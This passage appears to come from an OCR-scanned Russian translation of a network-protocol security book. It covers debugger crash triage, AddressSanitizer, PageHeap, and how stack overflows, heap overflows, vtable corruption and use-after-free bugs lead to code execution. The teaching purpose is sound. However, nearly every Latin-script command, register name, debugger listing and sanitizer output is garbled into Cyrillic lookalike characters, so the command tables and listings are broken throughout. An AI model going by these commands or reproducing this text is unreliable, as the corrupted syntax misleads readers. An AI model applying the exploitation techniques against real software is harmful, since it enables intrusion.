пустить процесс. Можно выполнить команды из табл. 10.2 в оболочке 
отладчика, чтобы начать выполнение процесса или возобновить вы- 
полнение при подключении. В таблице приведены несколько прос- 
тых имен таких команд, разделенных запятыми. 


Таблица 10.2. Упрощенные команды выполнения приложения 


Отладчик Начать выполнение Возобновить выполнение 
СОВ 9 9 

срв гип, г сопііпџе, с 

НОВ ргосеѕѕ 1аџпсћ, гип, г {Пгеа4 сопііпие, с 


Когда новый процесс создает дочерний процесс, может произойти 
сбой дочернего процесса, а не того процесса, который вы отлаживае- 
те. Такое особенно часто встречается на Опіх-подобных платформах, 
потому что некоторые сетевые серверы будут разветвлять текущий 
процесс для обработки нового соединения, создавая копию процесса. 
В подобных случаях необходимо убедиться, что вы можете отслежи- 
вать дочерний процесс, а не родительский. Можно использовать ко- 
манды из табл. 10.3 для отладки дочерних процессов. 


Таблица 10.3. Отладка дочерних процессов 


Отладчик Включение отладки дочернего Отключение отладки дочернего 
процесса процесса 
срв .сһі1ааЬо 1 .сһћіЛааБо 0 
срв ѕеї Ғо1Лом- Ёогк-тойе сһћі1а ѕеї Ғо11ом- ҒЁогк-тоде рагепё 
ШОВ ргосеѕѕ аёёасћ - -паме МАМЕ ехії деБиддег 
- -маі&Ғог 


Есть некоторые предостережения при использовании этих команд. 
В Міпаомѕ, используя СОВ, можно отлаживать все процессы из одного 
отладчика. Однако в случае с СРВ установка отладчика для отслежива- 
ния дочернего процесса остановит отладку родительского процесса. 

В Ипих это можно обойти, используя команду ѕеї іеёасћ -оп- ҒогКк 
от +. Эта команда приостанавливает отладку родительского процесса, 
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продолжая отладку дочернего процесса, а затем повторно подклю- 
чается к родительскому процессу после выхода дочернего процесса. 
Однако если дочерний процесс работает в течение длительного вре- 
мени, родительский процесс может так и не принять новых подклю- 
чений. 

В ЦРВ нет возможности отслеживать дочерние процессы. Вмес- 
то этого необходимо запустить новый экземпляр ТОВ и исполь- 
зовать синтаксис, показанный в табл. 10.3, для автоматического 
присоединения к новым процессам по имени процесса. Нужно за- 
менить МАМЕ в команде ргосеѕѕ на имя процесса, который вы хотите 
отслеживать. 


Анализ сбоя 


После отладки можно запустить приложение во время фаззинга и до- 
ждаться сбоя программы. Следует искать сбои, указывающие на по- 
вреждение памяти, например сбои, возникающие при попытке чте- 
ния или записи на недопустимые адреса или при попытке выполнить 
код по недопустимому адресу. Когда вы определите соответствующий 
сбой, проверьте состояние приложения, чтобы выяснить причину 
сбоя, например повреждение памяти или ошибку индексации мас- 
сива. 

Сначала определитетип сбоя. Например, СОВ обычно выводит что- 
то вроде Ассеѕѕ уіо1аїіоп и пытается вывести инструкцию в текущем 
месте программы, где произошел сбой приложения. В случае с СОВ 
и ПРВ в Опіх-подобных системах вы увидите тип сигнала: наиболее 
распространенный тип - это 5$165ЕС\, ошибка сегментации, который 
указывает на то, что приложение пыталось получить доступ к недей- 
ствительному адресу памяти. 

В качестве примера в листинге 10.2 показано, что вы увидите 
в СРВ, если приложение попытается выполнить недействительный 
адрес памяти. 


Листинг 10.2. Пример сбоя в СРВ, показывающий недействительный 
адрес памяти 


(2228.1544): Ассезз уіо1аїіоп - соде с0000005 (Ғігѕі сһапсе) 

ҒігѕЁ сһапсе ехсер{1оп$ аге герогїеа БеҒоге апу ехсер оп Вапд\\лпд. 
Тһіѕ ехсерёіоп тау Бе ехресёеа апа Вап\ед. 

00000000 ` 41414141 ?? 77? 


После того как вы определили тип сбоя, следующий шаг – опреде- 
лить, какая инструкция вызвала его, чтобы знать, что нужно искать 
в состоянии процесса. Обратите внимание, что в листинге 10.2 отлад- 
чик попытался вывести инструкцию, при которой произошел сбой, 
но адрес памяти был недействительным, поэтому он вернул серию 
вопросительных знаков. Когда сбой происходит из-за операций чте- 
ния или записи с участием недействительных адресов памяти, вмес- 
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то вопросительных знаков вы получите полную инструкцию. Если 
отладчик показывает, что вы выполняете допустимые инструкции, 
можно прибегнуть к дизассемблированию, используя команды из 
табл. 10.4. 


Таблица 10.4. Команды дизассемблирования инструкций 


Отладчик Дизассемблирование с места сбоя Дизассемблирование конкретного места 


СОВ (0 у Аррв 
срв Ч заем Де ЯіѕаѕѕетЬ1е Ард 
НОВ 915а55етБДе -Ёгате ЯіѕаѕѕепЬ1е - -{аг{-аЧ99ге$$ А007 


Чтобы отобразить состояние регистра процессора в момент сбоя, 
можно использовать команды из табл. 10.5. 


Таблица 10.5. Отображение и установка состояния регистра процессора 


Отладчик Показать регистры Показать конкретный Установить конкретный 
общего назначения регистр регистр 

СОВ Г г @гсх г @гсх = МЕМУАЕ ИЕ 

срв 1пРо гедіѕїегѕ 1пРо гедіѕёегѕ гсх зе{ $гсх = МЕМИАЕ ЦЕ 

НОВ гедіѕёег геай гедіѕїег геай гсх гедіѕёег иг фе гсх МЕМИАЕ ШЕ 


Также можно использовать эти команды для установки значения 
регистра, что позволяет поддерживать работу приложения, исправ- 
ляя мгновенный сбой и перезапуская выполнение. Например, если 
сбой произошел из-за того, что значение ВСХ указывало на недопус- 
тимую память, можно сбросить ВСХ в допустимый адрес и продол- 
жить выполнение. Однако это не может продолжаться очень долго, 
если приложение уже повреждено. 

Следует отметить одну важную деталь, касающуюся указания ре- 
гистров. В СОВ используется синтаксис @ИМЯ, чтобы указать регистр 
в выражении (например, при создании адреса памяти). В СОВ иШрв 
вместо этого обычно используется $ИМЯ, а также есть пара псевдоре- 
гистров: $рс, обозначающий ячейку памяти выполняемой в данный 
момент инструкции (которая будет отображаться в КІР для х64), и 55р, 
обозначающий текущий указатель стека. 

Когда приложение, которое вы отлаживаете, дает сбой, вам понадо- 
бится отобразить, как была вызвана текущая функция в приложении, 
потому что это обеспечивает важный контекст для определения того, 
какая часть приложения вызвала сбой. Используя этот контекст, мож- 
но сузить количество частей протокола, на которых нужно сосредото- 
читься, чтобы воспроизвести сбой. 

Этот контекст можно получить, создав трассировку стека, которая 
отображает функции, вызванные до выполнения уязвимой функции, 
включая, в некоторых случаях, локальные переменные и аргументы, 
переданные этим функциям. В табл. 10.6 перечислены команды для 
создания трассировки стека. 
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Таблица 10.6. Создание трассировки стека 


Отладчик Отобразить трассировку стека Отобразить трассировку стека с аргументами 


СОВ К КЬ 
срв Баскіёгасе Баскёгасе Ёш 
НОВ Васкігасе 


Также можно проверить адреса памяти, чтобы определить, что вы- 
звало сбой текущей инструкции; используйте команды из табл. 10.7. 


Таблица 10.7. Отображение значений в памяти 


Отладчик Отображение байтов и обычных слов, Отображение десяти однобайтовых 


двойных и четверных слов значений 
СОВ ЧБ, дм, 99, 94 АБОВ Ч АБОК 110 
срв х/Ь, х/һ, х/м, х/9 АББЕ х/10Ь АББЕ 
НОВ петогу геа --$17е 1,2,4,8 петогу геай - -$17е 1 --соипЕ 10 


Каждый отладчик позволяет контролировать отображение значе- 
ний в памяти, таких как размер прочитанной памяти (например, от 1 
до 4 байт), а также количество данных для вывода. 

Еще одна полезная команда определяет, какому типу памяти со- 
ответствует адрес, например памяти в куче, стековой памяти или 
отображаемому исполняемому файлу. Знаятип памяти, можно сузить 
тип уязвимости. Например, если произошло повреждение значения 
памяти, вы можете различить, имеете ли вы дело с повреждением 
памяти стека или кучи. Используйте команды из табл. 10.8, чтобы 
определить схему памяти процесса, а затем посмотреть, какому типу 
памяти соответствует адрес. 


Таблица 10.8. Команды для отображения карты памяти процесса 


Отладчик Отображение карты памяти процесса 
СОВ ! адйгеѕѕ 

срв 1пРо ргос тарріпдѕ 

ШОВ Нет прямого эквивалента 


Конечно, в отладчике есть еще много чего, что вам может понадо- 
биться при сортировке, но команды, представленные в этом разделе, 
должны охватывать основы сортировки сбоев. 


Примеры сбоев 


Теперь рассмотрим примеры сбоев, чтобы вы знали, как они выгля- 
дят для различных типов уязвимостей. Я покажу сбои пих в СРВ, но 
информация, которую вы увидите на разных платформах и отладчи- 
ках, должна быть схожей. В листинге 10.5 показан пример сбоя из-за 
типичного переполнения буфера стека. 
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Листинг 10.3. Пример сбоя из-за переполнения буфера стека 


СМИ 99Ь 7.7.1 
(996) г 
ЅЕагїіпд ргодгам: /һоте/иѕег/ёгіаде/ѕёаск_оуегҒ.ои 


Ргодгат гесеімей ѕідпа1 5165ЕСУ, бедтепеа оп Рац. 
© 0х41414141 іп ?? () 


Ө (945) х/і $рс 
=> 0х41414141: Саппо{ ассеѕ5 метогу а айдгеѕ5 0х41414141 
© (995) х/16хи 55р-16 


ОхЫҒЕҒҒ#620: 0х41414141 0х41414141 0х41414141 0х41414141 
ОхЬҒЕҒҒ630: 0х41414141 0х41414141 0х41414141 0х41414141 
ОхЬҒЕҒҒ640: 0х41414141 0х41414141 0х41414141 0х41414141 
ОхЬҒЕҒҒ650: 0х41414141 0х41414141 0х41414141 0х41414141 


Входные данные представляют собой серию повторяющихся сим- 
волов А, показанных здесь в виде шестнадцатеричного значения 
0х41. Программа потерпела сбой при попытке выполнить адрес памя- 
ти 0х41414141 ө. Тот факт, что адрес содержит повторяющиеся копии 
наших входных данных, указывает на повреждение памяти, посколь- 
ку значения памяти должны отражать текущее состояние выполнения 
(как, например, указатели в стеке или куче) и очень маловероятно, 
что одно ито же значение будет повторяться. Мы дважды проверяем, 
что причиной сбоя является отсутствие исполняемого кода по адре- 
су 0х41414141, попросив СОВ дизассемблировать инструкции в месте 
сбоя программы Ө. Затем СРВ указывает на то, что он не может по- 
лучить доступ к памяти в этом месте. Сбой не обязательно означает, 
что произошло переполнение стека, поэтому для подтверждения мы 
решаем задействовать текущее местоположение стека Ө. Также пе- 
реместив указатель стека назад на 16 байт, можно увидеть, что наши 
входные данные определенно повредили стек. 

Проблема с этим сбоем состоит в том, что здесь трудно определить, 
какая часть является уязвимым кодом. Мы устроили сбой, вызвав 
недопустимое местоположение, а это означает, что функция, выпол- 
нявшая инструкцию возврата, больше не имеет прямых ссылок, а стек 
поврежден, что затрудняет извлечение информации о вызове. В этом 
случае можно посмотреть на стековую память, чтобы найти адрес 
возврата, оставленный в стеке уязвимой функцией, который можно 
использовать для отслеживания виновника. В листинге 10.4 показан 
сбой в результате переполнения буфера кучи, который гораздо слож- 
нее, чем повреждение памяти стека. 


Листинг 10.4. Пример сбоя из-за переполнения буфера кучи 


иѕег@еБіап:~/ёгіаде$ 946 . /һеар оуегҒ1ом 
СМО а4Ь 7.7.1 


(996) г 
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Зфагпд ргодгат: /һоте/иѕег/ёгіаде/һеар оуегҒ1ом 


Ргодгат гесеімей ѕідпа1 5165ЕСУ, Ѕедтепёаіоп Рац. 


0х0804862Ь іп майл () 
(99) х/1 $рс 
=> 0х8048626 <таіп+112>: 


(996) іпҒо гедіѕёегѕ $еах 
еах 0х41414141 


(996) х/51 $рс 

=> 0х804862Ь <тмаіп+112>: 
0х8048624 <таіп+114>: 
0х8048630 <та\п+117>: 

© 0х8048633 <таіп+120>: 
0х8048635 <таіп+122>: 


(996) діѕаѕѕетЬ1е 


мо\ (%еах) ‚Жеах 
1094795585 

Ые\ (%еах) ,%еах 
ѕиБ $0хс,%еѕр 
ри$ВТ -0х10(%еБр) 
са *еах 

ааа 50х10 ‚Хер 


"Ритр оЁ аѕѕетб1ег сойе Ғог ҒипсЁіоп таіп: 


Ө 0х08048626 <+107>: тоу -0х10(%еБр) ,Хеах 
0х08048629 <+110>: тоу (%еах) ‚Жеах 

=> 0х08048626 <+112>: тоу (%еах) ‚Жеах 
0х08048624 <+114>: зиБ $0хс ,‚%езр 


0х08048630 <+117>: ризРТ -0х10(%еБр) 


0х08048633 <+120>: са11 *%еах 


(996) х/м $еБр-0х10 
ОхЬҒҒЕҒТ708: 0х0804а030 


(996) х/4м 0х0804а030 
0х804а030: 0х41414141 


(996) АпРо ргос тарріпдѕ 
ргосеѕ5ѕ 4578 
Марреа аййгеѕѕ ѕрасеѕ: 


ЅЕагі Аддг Епа Айг 
0х8048000 0х8049000 
0х8049000 0х804а000 

О 0х804а000 —0х8065000 
0х67ссеб00 ӨхЬ7са0000 
0х67с90000 ӨхБ7е77000 


0х41414141 0х41414141 0х41414141 


542е ОҒҒѕе оБјҒіЛе 


0х1000 
0х1000 
0х21000 
0х2000 
0х1а7000 


9х0 /һоте/иѕег/Егіаде/һеар_оуегҒом 
9х0 /һоте/иѕег/Егіаде/һеар_оуегҒом 
0х0 [һеар] 

0х9 

9х0 /1АЬ/АБс-2.19.50 


Мы снова получаем сбой, но это происходит из-за действующей 
инструкции, которая копирует значение из адреса памяти, на кото- 
рый указывает ЕАХ, обратно в ЕАХ Ө. Вероятно, сбой произошел из-за 
того, что ЕАХ указывает на недопустимую память. Вывод регистра ® 
показывает, что значение ЕАХ - это просто повторение нашего сим- 


вола переполнения, что является признаком повреждения. 


Смотрим дальше и обнаруживаем, что значение ЕАХ используется 
как адрес памяти функции, которую будет вызывать инструкция Ө. 
Разыменование значения из другого значения указывает на то, что 
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выполняемый код - это поиск виртуальной функции из таблицы вир- 
туальных методов (УТаШе). 

Это подтверждается после дизассемблирования нескольких ин- 
струкций перед инструкцией, которая дала сбой ®. Видно, что значе- 
ние считывается из памяти, затем происходит разыменование этого 
значения (это будет чтение указателя УТаЫе), и, наконец, оно снова 
разыменовывается, вызывая сбой. 

Хотя анализ, показывающий, что сбой происходит при разымено- 
вании указателя УТаЫе, не сразу подтверждает повреждение объ- 
екта кучи, это хороший показатель. Чтобы проверить повреждение 
кучи, мы извлекаем значение из памяти и проверяем, не поврежде- 
но ли оно, используя шаблон 0х41414141, который был нашим вход- 
ным значением во время тестирования Ө. Наконец, чтобы прове- 
рить, находится ли память в куче, мы используем команду іпѓо ргос 
парріпдѕ, видно, что значение 0х0804а030, которое мы извлекли Ө, 
находится в области кучи Ө. Корреляция адреса памяти с сопостав- 
лениями указывает на то, что повреждение памяти ограничено этой 
областью. 

Обнаружение того, что повреждение ограничено кучей, не обяза- 
тельно указывает на основную причину уязвимости, но мы можем, 
по крайней мере, найти информацию в стеке с целью определить, ка- 
кие функции были вызваны, чтобы добраться до этой точки. Знание 
того, какие функции были вызваны, сузит диапазон функций, для 
которых нужно будет применить обратную разработку, чтобы найти 
виновника. 


Повышаем наши шансы найти первопричину сбоя 


Выявление основной причины сбоя может быть непростым делом. 
Если стековая память повреждена, вы теряете информацию о том, 
какая функция вызывалась во время сбоя. Для ряда других типов 
уязвимостей, таких как переполнение буфера кучи или использова- 
ние после освобождения (изе аќег Нее), сбой может и не произойти 
в месте уязвимости. Также возможно, что для поврежденной памяти 
установлено значение, которое вообще не приводит к сбою приложе- 
ния, вызывая изменение его поведения, что непросто заметить с по- 
мощью отладчика. 

В идеале нужно повысить свои шансы определить точную уязви- 
мую точку в приложении, не прилагая значительных усилий. Я пред- 
ставлю несколько способов, которые помогут вам в этом. 


Пересборка приложений с помощью Адаге$$ Зап тег 


Если вы тестируете приложение в Опіх-подобной ОС, существует 
разумный шанс, что у вас есть исходный код этого приложения. Одно 
это дает вам много преимуществ, например всю отладочную инфор- 
мацию, но это также означает, что вы можете пересобрать приложе- 
ние и добавить улучшенное обнаружение ошибок памяти, чтобы по- 
высить свои шансы на обнаружение уязвимостей. 
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Один из лучших инструментов для добавления таких функций при 
повторном создании приложения - это Адагез$ Ѕапібіхег (АЅап), рас- 
ширение для компилятора СГАМС, которое обнаруживает ошибки 
повреждения памяти. Если вы укажете параметр -Рзап1{17е = а49ге$$ 
при запуске компилятора (обычно это можно сделать, используя пе- 
ременную окружения СҒІАСЅ), то пересобранное приложение будет 
иметь дополнительные инструменты для обнаружения распростра- 
ненных ошибок, таких как повреждение памяти, запись вне границ 
буфера, использование после освобождения и двойное освобождение 
ячейки. 

Основное преимущество АЅап заключается в том, что он останав- 
ливает приложение и делает это как можно быстрее после возникно- 
вения уязвимого состояния. При переполнении АЅап останавливает 
программу и выводит сведения об уязвимости в консоль оболочки. 
Например, в листинге 10.5 показана часть вывода простого перепол- 
нения буфера кучи. 


Листинг 10.5. Вывод Абап при переполнении буфера кучи 


==3998==ЕВВОВ: Аййгеѕѕ$апіігег: һеар-БиҒҒег-оуегҒои © оп аййгеѕ5 
0х661026#4Ө аї рс 0х081087аеБрӨ ӨхЬҒ9сб448 ѕр ӨхЬҒ9сб40 
ИВТТЕ ОЁ $17е 1Ө аї 0х661026Ғ4 +һгеай ТӨ 
#0 0х81087аа ( /һҺоте/иѕег/ёгіаде/һеар омегҒ1ом+0х81087аа) 
#1 ӨхЬ74сБаб2 (/116/1386-14пих-дпи/1686/стоу/11Бс.ѕ0.6+0х19а62) 
#2 0х8108430 (/Һоте/иѕег/ёгіаде/һеар _оуегҒ ом +0х8108430) 


Обратите внимание, что вывод содержит тип обнаруженной ошиб- 
ки Ө (в нашем случае это переполнение буфера кучи), адрес в памяти 
для записи переполнения Ө, место в приложении, которое вызвало 
переполнение Ө, и его размер Ө. Используя предоставленную инфор- 
мацию с отладчиком, как показано в предыдущем разделе, можно от- 
следить первопричину уязвимости. 

Однако обратите внимание, что местоположения внутри приложе- 
ния - это просто адреса памяти. Файлы с исходным кодом и номера 
строк были бы более полезными. Чтобы получить их в трассировке 
стека, нужно указать переменные окружения, дабы использовать 
символьную информацию, как показано в листинге 10.6. Приложение 
также должно быть создано с использованием отладочной информа- 
ции, что можно сделать, передав флаг компилятора -9. 


Листинг 10.6. Вывод Абап при переполнении буфера кучи 
с использованием символьной информации 


$ ехрогЕ АЗАМ_ОРТТО№$=утБо 1 те=1 
$ ехрогЕ АЗАМ_ЗУМВОЕТ7ЕВ_РАТН=/изг /БАп/ДУт- ѕутбо1іғег-3.5 
$ ./ћеар оуегҒ1ом 


==4035==ЕВВОВ: Аййгеѕѕ$апіігег: һеар-БиҒҒег-оуегҒои оп аййгеѕ5 0х662020#4 аі 
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рс 0х081087ае Бр ӨхЬ#97а418 5р ӨхЬҒ97а410 
ИВТТЕ оф $12е 1 аё 0хЬ62026#4 &һгеаа ТӨ 
#0 0х81087аа іп таіп /һоте/иѕег/ёгіаде/һеар_оуегҒ1ом.с:8:3ө 
#1 ӨхЬ75а4аб2 іп __11Ьс ѕЕагё таіп /Биі1а/116Ьс-ѕЁагі.с:287 
#2 0х8108430 іп _ѕЁагё (/һоте/иѕег/ёгіаде/һеар оуег#10и+0х8108430) 


Листинг 10.6 в основном совпадает с листингом 10.5. Существенная 
разница состоит в том, что местоположение сбоя ® теперь отражает 
местоположение внутри первоначального исходного кода (в данном 
случае, начиная со строки 8, символ 3 внутри файла ћеар оуегїоу.с) 
вместо адреса памяти внутри программы. Сужение места сбоя до 
определенной строки в программе значительно упрощает проверку 
уязвимого кода и определение причины сбоя. 


Отладка в М/іпӣоуѕ и РадеНеар 


В Үіпаомѕ доступ к исходному коду тестируемого приложения, веро- 
ятно, более ограничен. Следовательно, нужно повысить свои шансы. 
Үіпаоуѕ поставляется с утилитой РазеНеар, которую можно активи- 
ровать, чтобы отслеживать повреждения памяти. 

Необходимо вручную включить ее для процесса, который вы хоти- 
те отлаживать, выполнив следующую команду от имени администра- 
тора: 


С:\> 9#\адѕ.ехе -і аррпате.ехе +һра 


Приложение #1 адѕ поставляется с отладчиком СРВ. Параметр 
-і позволяет указать имя файла изображения, чтобы активировать 
РазеНеар. Укажите вместо аррпате.ехе имя тестируемого приложе- 
ния. Параметр +ћра фактически включает РаэеНеар при запуске при- 
ложения. 

РавеНеар выделяет специальные страницы памяти, определяе- 
мые ОС (сторожевые страницы) после каждого динамического 
выделения памяти. Если приложение пытается прочитать или за- 
писать эти страницы, то возникает ошибка, и отладчик будет не- 
медленно уведомлен, что полезно для обнаружения переполнения 
буфера кучи. Если переполнение записывается сразу в конец буфе- 
ра, сторожевая страница будет затронута приложением, и сразу же 
возникнет ошибка. На рис. 10.1 показано, как этот процесс работает 
на практике. 

Можно предположить, что использование РавеНеар – хороший 
способ предотвратить повреждение в куче памяти, но эта утилита 
тратит огромное количество памяти, потому что для каждого вы- 
деления требуется отдельная сторожевая страница. Настройка этих 
страниц требует системного вызова, что снижает производитель- 
ность выделения. В целом использование РазеНеар для чего-либо 
еще, кроме сеансов отладки, вряд ли можно считать хорошей идеей. 
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Выделенный блок рожев Выделенный блок 


С а Сиа 
мд— _————————————————————њрь 


Направление переполнения 
Сбой 
еах=05БеЗҒҒа еБх=00939000 есх=000000се ейх=000000ее еѕі=05БезҒ2с е41=055е8 000 


е1р=ба90сР5е еѕр=0067Ғ9ес ерр=0067Ғабс іор1=0 пу ур еі рі пх па ро су 
сѕ=0023 55=002Ь 5=0020 еѕ=0020 #5=0053 95=002Ь еҒ1=00010203 


\/СВУМТТМЕ1 40 ! метсру+0х4е: 
ба90сҒѕе ҒЗа4 гер тоуѕ Буе ріг еѕ: [ейі] ,Бу+е ріг [еѕ1] 


Рис. 10.1. РадеНеар обнаруживает переполнение 


Эксплуатация распространенных уязвимостей 


Изучив и проанализировав сетевой протокол, вы применили фаззинг 
и нашли уязвимости, которые хотите эксплуатировать. В главе 9 описа- 
но много типов уязвимостей, но не говорится, как эксплуатировать их. 
Именно это мы здесь и будем обсуждать. Я начну с того, как эксплуа- 
тировать повреждения памяти, а затем мы обсудим некоторые более 
необычные типы уязвимостей. 

Цели эксплуатации уязвимостей зависят от цели анализа протоко- 
ла. Если анализ проводится по коммерческому продукту, возможно, 
вы ищете подтверждение концепции, которая четко демонстрирует 
проблему, чтобы поставщик мог ее исправить: в этом случае надеж- 
ность не так важна, как четкая демонстрация уязвимости. С другой 
стороны, если вы разрабатываете эксплойт, который будет использо- 
ваться в упражнениях Вей Теат, и вам поставлена задача взломать 
некую инфраструктуру, вам может потребоваться надежный экс- 
плойт, работающий в различных версиях продукта и выполняющий 
следующий этап вашей атаки. 

Заранее определив цели эксплуатации, вы не будете тратить время 
на несущественные задачи. Какими бы ни были ваши цели, этот раз- 
дел предоставляет неплохой обзор по данной теме и более подробные 
ссылки для ваших конкретных потребностей. Начнем с эксплуатации 
повреждений памяти. 


Эксплуатация уязвимостей пореждений памяти 


Повреждения памяти, такие как переполнение стека и кучи, очень 
часто встречаются в приложениях, написанных на языках, небезопас- 
ных с точки зрения доступа к памяти, таких как Си С++. Трудно на- 
писать сложное приложение на таких языках программирования, не 
создав хотя бы одной уязвимости, связанной с нарушением целост- 
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ности памяти. Эти уязвимости настолько распространены, что найти 
информацию о том, как их эксплуатировать, относительно легко. 

Эксплойт должен активировать уязвимость, приводящую к повреж- 
дению памяти, таким образом, чтобы состояние программы изме- 
нялось для выполнения произвольного кода. Это может быть захват 
состояния выполнения процессора и перенаправление его в некий ис- 
полняемый код, содержащийся в эксплойте. Это также может означать 
изменение текущего состояния приложения таким образом, чтобы ра- 
нее недоступные функции стали доступными. 

Разработка эксплойта зависит от типа нарушения и того, на какие 
части работающего приложения оно влияет, а также какие меры за- 
щиты от эксплойтов использует приложение, чтобы усложнить вам 
задачу. Сначала я расскажу об общих принципах эксплуатации, а за- 
тем рассмотрю более сложные сценарии. 


Переполнение буфера стека 


Напомним, что переполнение буфера стека происходит, когда код 
неправильно рассчитывает длину буфера для копирования в место 
в стеке, вызывая переполнение, которое повреждает другие данные. 
Самый серьезный момент состоит в том, что во многих архитектурах 
адрес возврата для функции хранится в стеке, и повреждение этого 
адреса дает пользователю прямой контроль над выполнением, кото- 
рый можно использовать для выполнения любого кода. Один из наи- 
более распространенных методов эксплуатации переполнения буфе- 
ра стека – это повреждение адреса возврата в стеке, чтобы он указывал 
на буфер, содержащий шелл-код с инструкциями, которые вы хотите 
выполнить, когда получите управление. Успешное повреждение стека 
таким образом приводит к тому, что приложение выполняет код, ко- 
торый не ожидало увидеть. 

В идеальном случае переполнение стека дает полный контроль 
над содержимым и длиной переполнения, гарантируя, что вы пол- 
ностью контролируете значения, которые перезаписываете в стеке. 
На рис. 10.2 показан идеальный вариант данной уязвимости в дей- 
СТвии. 

Буфер стека, который мы переполняем, находится под адресом 
возврата функции ®. Когда происходит переполнение, уязвимый код 
заполняет буфер, а затем перезаписывает адрес возврата, используя 
значение 0х12545678 Ө. Уязвимая функция завершает свою работу 
и пытается вернуться к вызывающей стороне, но адрес вызова был 
заменен произвольным значением, указывающим на ячейку памяти 
шелл-кода, помещенного туда эксплойтом Ө. Выполняется инструк- 
ция возврата, и эксплойт получает контроль над выполнением кода. 

В идеальной ситуации написать эксплойт для переполнения буфе- 
ра стека достаточно просто: нужно просто обработать данные в пере- 
полненном буфере, чтобы гарантировать, что адрес возврата указы- 
вает на контролируемую вами область памяти. В некоторых случаях 
даже можно добавить шелл-код в конец переполнения и задать адрес 
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возврата для перехода в стек. Конечно, чтобы перейти в стек, вам 
нужно будет найти адрес в памяти стека. Это может быть возможно, 
потому что стек не будет перемещаться очень часто. 


Верхний кадр стека 


Верхний кадр стека 


Переполненный 
буфер стека 


ө 


Шелл-код по адресу 
0х12345678 


Возврат 


© 
Буфер стека 


Буфер стека 


Направление переполнения 


Локальные 
переменные 


Локальные 
переменные 


Рис. 10.2. Простой эксплойт для переполнения стека 


Однако свойства обнаруженной вами уязвимости могут создать 
проблемы. Например, если уязвимость вызвана копией строки в сти- 
ле С, вы не сможете использовать несколько нулевых байтов в пере- 
полнении, потому что С использует 0 байт в качестве завершающего 
символа строки: переполнение немедленно прекратится, как только 
во входных данных будет обнаружен 0 байт. В качестве альтернативы 
можно направить шелл-код в адресное значение без 0 байт, напри- 
мер шелл-код, который заставляет приложение выполнять запросы 
на выделение памяти. 


Переполнение буфера кучи 


Эксплуатация переполнения буфера кучи может быть более сложным 
делом, нежели эксплуатация переполнения стека, потому что буфе- 
ры кучи часто находятся в менее предсказуемом адресе памяти. Это 
означает, что нет никакой гарантии, что вы найдете что-то, столь же 
легко поддающееся повреждению, как адрес возврата функции в из- 
вестном месте. 

Следовательно, здесь необходимы другие методы, такие как управ- 
ление распределением кучи и точное размещение полезных объек- 
тов, которые можно повредить. 

Наиболее распространенный метод получения контроля над вы- 
полнением кода при переполнении буфера кучи – эксплуатировать 
структуру объектов С++, в частности то, как они используют таблицы 
виртуальных функций. Таблица виртуальных функций - это список 
указателей на функции, которые реализует объект. Использование 
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виртуальных функций позволяет разработчику создавать новые клас- 
сы, производные от существующих базовых классов, и переопреде- 
лять некоторые функции, как показано на рис. 10.3. 


Ө р->ғипс1(); 
тоу есх, [р] 


поу еах, [есх + оЁЁѕеё Рипс1] 


© ОоБјесї* р = пем ОБјесї; са11 еах 


Адрес таблицы 
виртуальных функций 


Данные объекта 


Виртуальная функция 1 


Виртуальная функция 2 


Виртуальная функция 3 


Объект в куче 
Виртуальная функция 4 


Таблица виртуальных функций 
в приложении 


Рис. 10.3. Реализация таблицы виртуальных функций 


Для поддержки виртуальных функций каждый выделенный эк- 
земпляр класса должен содержать указатель на адрес памяти таблицы 
функций ®. При вызове виртуальной функции объекта компилятор 
генерирует код, который ищет адрес таблицы виртуальных функций, 
затем ищет виртуальную функцию внутри таблицы и, наконец, вызы- 
вает этот адрес Ө. Обычно нельзя повредить указатели в таблице, по- 
тому что, скорее всего, таблица хранится в части памяти, доступной 
только для чтения. Но можно повредить указатель на таблицу и ис- 
пользовать его для получения контроля над выполнением кода, как 
показано на рис. 10.4. 


Уязвимость Џѕе-А#ег-Егее 


Уязвимость изе-аЁег-Нее – это не столько повреждение памяти, 
сколько повреждение состояния программы. Она возникает при 
освобождении блока памяти, но указатель на этот блок по-прежнему 
хранится в какой-то части приложения. Позже при выполнении при- 
ложения указатель на освобожденный блок используется повторно, 
возможно, потому, что код приложения предполагает, что указатель 
все еще действителен. В промежутке между освобождением блока 
памяти и повторным использованием указателя существует возмож- 
ность заменить содержимое блока памяти произвольными значени- 
ями и использовать это для выполнения кода. 

Когда блок памяти освобождается, то обычно возвращается в кучу, 
чтобы использоваться повторно для другого выделения памяти; по- 
этому пока вы можете выдать запрос на выделение памяти того же 
размера, что и исходное, существует большая вероятность того, что 
освобожденный блок памяти будет использован повторно с создан- 
ным содержимым. Можно эксплуатировать эти уязвимости, исполь- 
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зуя технику, аналогичную эксплуатации таблиц виртуальных функ- 
ций при переполнении кучи, как показано на рис. 10.5. 


Уязвимое выделение 


Куча 1 


виртуальных функций 0х12345678 


Данные объекта 


Куча 2 


Таблица виртуальных функций Поддельная таблица 
в приложении по адресу 044444444 


Рис. 10.4. Получение контроля над выполнением кода посредством повреждения адреса 
таблицы виртуальных функций 


Ө пем Буте[512Е] = {...}; 
// Гафег іп ехеси оп 
Ф оьјесї* р = пен ОБјесї; Ө чаете р; р->Рипс1(); 


Адрес таблицы 


виртуальных функций 0х12345678 


Свободная память 


Данные объекта 


Произвольные данные 


Рис. 10.5. Пример уязвимости изе-айег-рее 


Сначала приложение выделяет объект р ®, содержащий указатель, 
над которым мы хотим получить контроль. Затем приложение вызы- 
вает удаление объекта, чтобы освободить связанную память. Однако 
приложение не сбрасывает значение р, поэтому в дальнейшем этот 
объект можно использовать повторно. 

Хотя на рисунке показано, что это свободная память, исходные зна- 
чения из первого выделения, возможно, фактически не были удалены. 
Это затрудняет выявление основной причины уязвимости. Причина 
состоит в том, что программа может продолжать работать нормально, 
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даже если память больше не выделяется, потому что содержимое не 
изменилось. 

В конце эксплойт выделяет память подходящего размера и конт- 
ролирует содержимое памяти, на которое указывает обект р, кото- 
рый распределитель кучи повторно использует как выделение памя- 
ти для этого объекта Ө. Если приложение повторно применяет его 
для вызова виртуальной функции, мы можем управлять поиском 
и напрямую выполнять код. 


Управление расположением кучи 


В большинстве случаев ключ к успешной эксплуатации уязвимости, 
связанной с кучей, заключается в том, чтобы заставить подходящее 
выделение памяти произойти в надежном месте, поэтому важно 
управлять расположением кучи. Поскольку существует большое ко- 
личество различных реализаций кучи на разных платформах, я могу 
предоставить только общие правила. 

Реализация кучи для приложения может быть основана на особен- 
ностях управления виртуальной памятью платформы, на которой 
выполняется приложение. Например, в Міпаомѕ есть АРІ-функция 
